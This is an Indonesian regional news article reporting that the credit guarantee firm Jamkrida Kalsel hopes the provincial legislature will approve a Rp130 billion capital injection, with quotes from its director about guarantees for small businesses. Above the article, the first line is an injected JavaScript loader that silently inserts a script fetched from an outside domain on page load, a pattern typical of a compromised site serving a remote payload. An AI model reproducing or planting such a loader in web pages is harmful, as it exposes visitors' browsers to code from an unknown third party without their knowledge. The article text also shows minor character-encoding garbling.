(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bisnis

Jamkrida Kalsel Berharap Tambahan Modal Disetujui Wakil Rakyat

BANJARMASIN, PT Jaminan Kredit Daerah (Jamkrida) Kalsel berharap usulan penambahan modal pihaknya kepada Pemerintah Provinsi (Pemprov) Kalsel sebesar Rp130 Miliar dapat disetujui oleh Dewan Perwakilan Rakyat Daerah (DPRD) Kalsel.

Direktur Utama Jamkrida Kalsel Rizqillah Suhaili menjelaskan, penambahan modal sendiri bagi perusahaan daerah tersebut sangatlah penting dalam rangka mengembangkan lini bisnis penjaminan baru untuk meningkatkan laba.

“Kita berharap usulan penambahan modal Jamkrida Kalsel bisa disetujui oleh DPRD Kalsel. Karena dengan hanya memiliki modal sebesar Rp 70 Miliar, kami cukup kesulitan melakukan ekspansi ke bisnis penjaminan baru yang dianggap potensial,” ucapnya, Kamis (16/5).

Sejauh ini progres pennyertaan modal yang diusulkan ke DPRD Kalsel menurutnya sudah berjalan baik. Bahkan belum lama tadi DPRD Kalsel sudah melakukan konsultasi ke Kemendagri terkait payung hukum penambahan modal oleh Pemrov Kalsel ke Jamkrida Kalsel.

“Kami berharap bisa segera dibahas Raperdanya dalam waktu dekat ini. Karena agar Jamkrida Kalsel dapat lebih berkembang harus memerlukan modal dasarÃ‚Â minimal sebesar Rp 200 Miliar,” tambahnya.

Hingga Desember Tahun 2018 lalu Jamkrida Kalsel diklaim sudah dapat melakukan penjaminan kredit hingga Rp1,2 Triliun. Ada pun tenaga kerja yang dapat terserap dari penjaminan tersebut mencapai 31.000 orang dengan 4.750 Usaha Mikro Kecil dan Menengah (UMKM) yang diberikan penjaminan.

“Kalau nantinya penambahan modal disetujui, maka tentunya akan lebih banyak lagi tenaga kerja terserap dan UMKM yang bisa kami bantu. Bahkan kami juga berencana mengembangkan sektor penjaminan di sektor Kredit Usaha Rakyat (KUR),” pungkasnya.(arief)

Reporter:Arief
Editor:Cell